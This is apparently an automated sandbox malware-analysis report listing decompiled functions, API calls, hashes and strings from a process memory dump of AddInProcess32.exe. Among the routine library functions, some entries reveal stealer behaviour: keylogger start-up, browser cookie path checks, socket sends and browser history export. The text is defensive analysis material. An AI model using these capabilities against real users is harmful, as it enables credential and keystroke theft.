Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 333ae2597f59f70c30e2a138da7d2dacca2148bf7cc6369c5742e0f4ac8aaabd
Instruction ID: 3288ceb70b28299b768e57bc56a65f905b411dc47ae91625c595fe6b39b3afde
Opcode Fuzzy Hash: 333ae2597f59f70c30e2a138da7d2dacca2148bf7cc6369c5742e0f4ac8aaabd
Instruction Fuzzy Hash: 4D71C431900256ABEF21CF55C884AFFBBB5EF95350F14012BE812A72A1D7748CC1CBA9

Function 00444CFB Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169

_free.LIBCMT ref: 00444E06
_free.LIBCMT ref: 00444E1D
_free.LIBCMT ref: 00444E3C
_free.LIBCMT ref: 00444E57
_free.LIBCMT ref: 00444E6E

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: bf8b46b868af2ecf30d3444370171b65bdd51122b8350dbbe1b9982e260663b5
Instruction ID: 75a60bec03265776b93b53542ea819fdab521e44af267d44e1f719a945e8e2e2
Opcode Fuzzy Hash: bf8b46b868af2ecf30d3444370171b65bdd51122b8350dbbe1b9982e260663b5
Instruction Fuzzy Hash: 5451D371A00704AFEB20DF6AC841B6673F4FF85729B14456EE819D7250E739EE01CB88

Function 00449365 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
_free.LIBCMT ref: 004493BD

Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA

_free.LIBCMT ref: 00449589

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
Instruction ID: c95a83c4fc9d8f5f381c6ef12c4bd90d50aad01b0883e3b7d6e96279f2ead045
Opcode Fuzzy Hash: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
Instruction Fuzzy Hash: 71511A71904205EBEB14EFA9DD819AFB7BCEF44324F10066FE51493291EB788E42DB58

Function 0040F8FD Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F91B
Process32FirstW.KERNEL32(00000000,?), ref: 0040F93F
Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F94E
CloseHandle.KERNEL32(00000000), ref: 0040FB05

Part of subcall function 0041BFE5: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F5F9,00000000,?,?,00475338), ref: 0041BFFA

Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208

Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FAF6

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Process$OpenProcess32$Next$CloseCreateCurrentFirstHandleSnapshotToolhelp32
String ID:
API String ID: 4269425633-0
Opcode ID: 371d05c907dcca9c3c12ab80cf798e7523ffd5e5ecf3e3ca40c8afe2c02f4cbd
Instruction ID: d179df5438ecf7187d550cf9263b6860c2801d48d571b2859f9d543a591e132f
Opcode Fuzzy Hash: 371d05c907dcca9c3c12ab80cf798e7523ffd5e5ecf3e3ca40c8afe2c02f4cbd
Instruction Fuzzy Hash: 784116311083419BC325F722DC55AEFB3A5AF94345F50493EF48A921E2EF385A49C75A

Function 00443DF9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00443E6B
_free.LIBCMT ref: 00443E8B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
Instruction ID: 5dce3a056f7b38871bf3701478ebec2c01ef4ac0d1e4adeac0a27022f106ca0c
Opcode Fuzzy Hash: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
Instruction Fuzzy Hash: 0741F536A012009FEB20DF78C881A5EB3F1EF89B14F2545AEE515EB341DB35AE01CB84

Function 0044F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0044F363
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F386

Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F3AC
_free.LIBCMT ref: 0044F3BF
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F3CE

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 02a97bdb6e6c5d26fe886d3a9ae646317caea956d8251916105bf2d3fe3a3540
Instruction ID: 8337c1946637dec1c7c9c61cb05458c13fbc509b7d73539ecc926bc10a2836fd
Opcode Fuzzy Hash: 02a97bdb6e6c5d26fe886d3a9ae646317caea956d8251916105bf2d3fe3a3540
Instruction Fuzzy Hash: 2301B173601755BB37211ABA5C8CC7F6A6CDAC6FA5315013FFD14C2202EA68CD0581B9

Function 0041C3F1 Relevance: 7.6, APIs: 5, Instructions: 67fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C44D
CloseHandle.KERNEL32(00000000), ref: 0041C459
WriteFile.KERNEL32(00000000,00000000,00000000,00406F85,00000000), ref: 0041C46A
CloseHandle.KERNEL32(00000000), ref: 0041C477

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreatePointerWrite
String ID:
API String ID: 1852769593-0
Opcode ID: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
Instruction ID: 5cb8be75c3dc4c1e2f747800af3fbfd5a98fa41e64789a84fd548ad7506a8702
Opcode Fuzzy Hash: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
Instruction Fuzzy Hash: B0110471288220FFEA104B24ACD9EFB739CEB46375F10462AF592C22C1C7259C81863A

Function 00448299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,0043BC87,00000000,?,?,0043BD0B,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0044829E
_free.LIBCMT ref: 004482D3
_free.LIBCMT ref: 004482FA
SetLastError.KERNEL32(00000000), ref: 00448307
SetLastError.KERNEL32(00000000), ref: 00448310

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: ce9cc6301b23d983ade5427f2db299c0b586cbcb428296df669d0de5b5bf801f
Instruction ID: 817e1e76de570c2b023109a843fda652767a1b5a915d0172e9d2adf04509528a
Opcode Fuzzy Hash: ce9cc6301b23d983ade5427f2db299c0b586cbcb428296df669d0de5b5bf801f
Instruction Fuzzy Hash: 5601F936500B0067F3112A2A5C8596F2559EBC2B7A735452FFD19A22D2EFADCC01816D

Function 004509BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004509D4

Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA

_free.LIBCMT ref: 004509E6
_free.LIBCMT ref: 004509F8
_free.LIBCMT ref: 00450A0A
_free.LIBCMT ref: 00450A1C

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
Instruction ID: 8e1836d4b3683ea2f551dac33bf8b94159c93f8dbbc189607f67f5fa0db289e6
Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
Instruction Fuzzy Hash: F3F04F76504600B79620EB5DE8C2C1B73D9EA0571A795891BF66CDB612CB38FCC0869C

Function 00444048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00444066

Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA

_free.LIBCMT ref: 00444078
_free.LIBCMT ref: 0044408B
_free.LIBCMT ref: 0044409C
_free.LIBCMT ref: 004440AD

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
Instruction ID: c4ed0220327abb1134bcf7d54e43c2409a3611c90002b0fe773cef56a7474a4d
Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
Instruction Fuzzy Hash: 11F03AB18009208FA631AF2DBD414053B61E705769346822BF62C62A70C7B94ED2CFCF

Function 0044BA37 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

Strings

PkGNG, xrefs: 0044BA39

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID: PkGNG
API String ID: 0-263838557
Opcode ID: 6a83c2428ddcf6ea71a3f14a315267ad78d224b448d93c685a7e270e7132f7c7
Instruction ID: 56b21f6c39f874414c878b072b89285690216c2d241c0ad811085e1835033e53
Opcode Fuzzy Hash: 6a83c2428ddcf6ea71a3f14a315267ad78d224b448d93c685a7e270e7132f7c7
Instruction Fuzzy Hash: 1B51B271D00249AAEF14DFA9C885FAFBBB8EF45314F14015FE400A7291DB78D901CBA9

Function 0044E6E9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 0044E738
_free.LIBCMT ref: 0044E855

Part of subcall function 0043BD19: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043BD1B
Part of subcall function 0043BD19: GetCurrentProcess.KERNEL32(C0000417), ref: 0043BD3D
Part of subcall function 0043BD19: TerminateProcess.KERNEL32(00000000), ref: 0043BD44

Strings

., xrefs: 0044EA0C
*?, xrefs: 0044E72C

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
String ID: *?$.
API String ID: 2812119850-3972193922
Opcode ID: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
Instruction ID: 94a4b4bbf586d133b1ca6d09685756ea089c4dad0dcc4a5060c65dcbb11523ea
Opcode Fuzzy Hash: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
Instruction Fuzzy Hash: B951C375E00109EFEF14DFAAC881AAEBBB5FF58314F25816EE454E7301E6399E018B54

Function 00415AEA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 00415B0F
GetTickCount.KERNEL32 ref: 00415B86

Strings

!D@, xrefs: 00417089
NG, xrefs: 00415B3E

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CountEventTick
String ID: !D@$NG
API String ID: 180926312-2721294649
Opcode ID: 3d261558ad018fccd4b1db3b2adf3e9912d7a273ea376c309d6eaae2c8c0653a
Instruction ID: 1740d3d485f2be3f914829e5aa2a54ae858af1ae40273f66f7ff2800e9d96298
Opcode Fuzzy Hash: 3d261558ad018fccd4b1db3b2adf3e9912d7a273ea376c309d6eaae2c8c0653a
Instruction Fuzzy Hash: 7E51A1316083019AC724FB32D852AEF73A5AF94314F50493FF54A671E2EF3C5949C68A

Function 00409EA3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON

Download Yara Rule

APIs

GetKeyboardLayoutNameA.USER32(?), ref: 00409ED3

Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0

Part of subcall function 0041C515: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041C52A

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

PG, xrefs: 00409EFE
NG, xrefs: 00409F33
XQG, xrefs: 00409F48

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CreateFileKeyboardLayoutNameconnectsend
String ID: XQG$NG$PG
API String ID: 1634807452-3565412412
Opcode ID: 54480eb0bc649cc79f0ae2d6016b7d596c1c2f6fed1d275c9adea3c12e8bc9d3
Instruction ID: e0ccbd324811511655e6ba18c086c0ffec884fa52ef92f7e14ea490dcf81b303
Opcode Fuzzy Hash: 54480eb0bc649cc79f0ae2d6016b7d596c1c2f6fed1d275c9adea3c12e8bc9d3
Instruction Fuzzy Hash: BA5133315082415AC324F732D852AEFB3E5AFD4348F50493FF44A671E6EF78594AC649

Function 00442385 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424F3

Strings

`#D, xrefs: 004424ED
`#D, xrefs: 00442400

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: `#D$`#D
API String ID: 885266447-2450397995
Opcode ID: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
Instruction ID: d0478598ef992627c852fcfbe86add3ca1c9fa58067414995f231753f3186543
Opcode Fuzzy Hash: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
Instruction Fuzzy Hash: 78519071A00208AFDF18DF59C980AAEBBB2FB94314F59C19AF81897361D7B9DD41CB44

Function 00443435 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe,00000104), ref: 00443475
_free.LIBCMT ref: 00443540
_free.LIBCMT ref: 0044354A

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, xrefs: 0044346C, 00443473, 004434A2, 004434DA

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free$FileModuleName
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
API String ID: 2506810119-760905667
Opcode ID: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
Instruction ID: 78b8e4ab202bb8962dfea6a4c95dea7b8c186c0554b41bb8e719afd17783d6d0
Opcode Fuzzy Hash: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
Instruction Fuzzy Hash: 2E31C471A00258BFEB21DF999C8199EBBBCEF85B15F10406BF50497311D6B89F81CB98

Function 0044B81F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,FF8BC35D,00000000,?,PkGNG,0044BB7E,?,00000000,FF8BC35D), ref: 0044B8D2
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0044B900
GetLastError.KERNEL32 ref: 0044B931

Strings

PkGNG, xrefs: 0044B821

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: PkGNG
API String ID: 2456169464-263838557
Opcode ID: f29f19b57bd44476b84c2158df793cbd226619e25f42890a5cb9caccfef44ccc
Instruction ID: a4f89274a665815b2d7bd0a52cbb4c71b9b2878c435ac706d73e761117ab6cd9
Opcode Fuzzy Hash: f29f19b57bd44476b84c2158df793cbd226619e25f42890a5cb9caccfef44ccc
Instruction Fuzzy Hash: 18317271A002199FDB14DF59DC809EAB7B8EB48305F0444BEE90AD7260DB34ED80CBA4

Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066

Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F

Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587

Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E

Sleep.KERNEL32(000000FA,00465E74), ref: 00404138

Strings

0NG, xrefs: 00404097
/sort "Visit Time" /stext ", xrefs: 004040B2

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
String ID: /sort "Visit Time" /stext "$0NG
API String ID: 368326130-3219657780
Opcode ID: 074ad0252c5f85a0395eaa63b88ebd601cb6552471d06d252c91316da9998368
Instruction ID: 62b88373b0174ac8ae4090b78ebfd0a8fca35ca34796720d8357018cc2c92f87
Opcode Fuzzy Hash: 074ad0252c5f85a0395eaa63b88ebd601cb6552471d06d252c91316da9998368
Instruction Fuzzy Hash: E9316271A0011956CB15FBA6D8969EE7375AB90308F40007FF206B71E2EF385D89CA99

Function 0041C9E2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32 ref: 0041CAD7

Part of subcall function 0041376F: RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,0046611C), ref: 0041377E
Part of subcall function 0041376F: RegSetValueExA.ADVAPI32(0046611C,?,00000000,?,00000000,00000000), ref: 004137A6
Part of subcall function 0041376F: RegCloseKey.ADVAPI32(0046611C), ref: 004137B1

Strings

WallpaperStyle, xrefs: 0041CA22, 0041CA55, 0041CAA5
TileWallpaper, xrefs: 0041CAC1
Control Panel\Desktop, xrefs: 0041CA1D, 0041CA50, 0041CAA0

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseCreateInfoParametersSystemValue
String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
API String ID: 4127273184-3576401099
Opcode ID: 3c2d205688c6346916b5703b91afcadbe5e4724bf31c27c5056ca6af97e88c58
Instruction ID: 1197cbbb31bb874c57b9e92d70abebba424d259215afdbf251ae70ffa4d9d73d
Opcode Fuzzy Hash: 3c2d205688c6346916b5703b91afcadbe5e4724bf31c27c5056ca6af97e88c58
Instruction Fuzzy Hash: 7B1184B2BC021473D419313E5DABBBE28029743B51F94416BF6123A6C6E8DF0A8102CF

Function 004162E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004162F5

Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
Part of subcall function 00413877: RegSetValueExA.ADVAPI32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4), ref: 004138AB

Part of subcall function 00409DE4: _wcslen.LIBCMT ref: 00409DFD

Strings

okmode, xrefs: 0041630F
!D@, xrefs: 00417089
PG, xrefs: 00416322

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _wcslen$CloseCreateValue
String ID: !D@$okmode$PG
API String ID: 3411444782-3370592832
Opcode ID: 3229767f42b224c22e38ab05f87ced9dbd25ea478007aec8b0515c8cef1bdfe3
Instruction ID: dff749dc984b923ba5de2327a6f3f9cc2e67bcaf748228c26ce3aec7d70e92d7
Opcode Fuzzy Hash: 3229767f42b224c22e38ab05f87ced9dbd25ea478007aec8b0515c8cef1bdfe3
Instruction Fuzzy Hash: 10119371B442011ADB187B72D832ABD22969F94358F80443FF54AAF2E2DEBD4C51525D

Function 0040C5EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 0040C4C3: PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6

PathFileExistsW.SHLWAPI(00000000), ref: 0040C61D
PathFileExistsW.SHLWAPI(00000000), ref: 0040C688

Strings

User Data\Default\Network\Cookies, xrefs: 0040C603
User Data\Profile ?\Network\Cookies, xrefs: 0040C635

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
API String ID: 1174141254-1980882731
Opcode ID: ec0199523fc237e56364718817167f2e0688e89b82cc13cff5a9b1f21d5ed8d2
Instruction ID: e6b9b9a8142aca5ff9e4641a3ff80a721fb4b0471daa7637ae592fad8ebd6223
Opcode Fuzzy Hash: ec0199523fc237e56364718817167f2e0688e89b82cc13cff5a9b1f21d5ed8d2
Instruction Fuzzy Hash: B421037190011996CB14F7A2DC96CEEB738EE50319F40053FB502B31D2EF789A46C698

Function 0040C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 0040C526: PathFileExistsW.SHLWAPI(00000000), ref: 0040C559

PathFileExistsW.SHLWAPI(00000000), ref: 0040C6EC
PathFileExistsW.SHLWAPI(00000000), ref: 0040C757

Strings

User Data\Default\Network\Cookies, xrefs: 0040C6D2
User Data\Profile ?\Network\Cookies, xrefs: 0040C704

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
API String ID: 1174141254-1980882731
Opcode ID: 830e565da1f4430f56a3fad2b3585c60fae3d202001501423d8e3de01861922a
Instruction ID: 83f6a23093d6b0727a30a1d550f3d6f5bdb2bb72864fa742cd8a9fd6423befd9
Opcode Fuzzy Hash: 830e565da1f4430f56a3fad2b3585c60fae3d202001501423d8e3de01861922a
Instruction Fuzzy Hash: AE21D37190011AD6CB05F7A2DC96CEEB778EE50719B50013FF502B31D2EF789A46C698

Function 0040A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,0040A27D,004750F0,00000000,00000000), ref: 0040A1FE
CreateThread.KERNEL32(00000000,00000000,0040A267,004750F0,00000000,00000000), ref: 0040A20E
CreateThread.KERNEL32(00000000,00000000,0040A289,004750F0,00000000,00000000), ref: 0040A21A

Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3

Strings

Offline Keylogger Started, xrefs: 0040A19B, 0040A1A2, 0040A1CF

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CreateThread$LocalTimewsprintf
String ID: Offline Keylogger Started
API String ID: 465354869-4114347211
Opcode ID: 739852a997fc0ae6182b294a28b4bb93c4a2cbea1e12e060c92b97aef043fd25
Instruction ID: bcf1cfbdc14a627f6781ea3a40f7cea6448602225ce5b2be95dc640702f6c2bd
Opcode Fuzzy Hash: 739852a997fc0ae6182b294a28b4bb93c4a2cbea1e12e060c92b97aef043fd25
Instruction Fuzzy Hash: DE1194B12003187AD220B7369C86CBB765DDA8139CB00057FF946222D2EA795D54CAFB

Function 0040AEEE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON

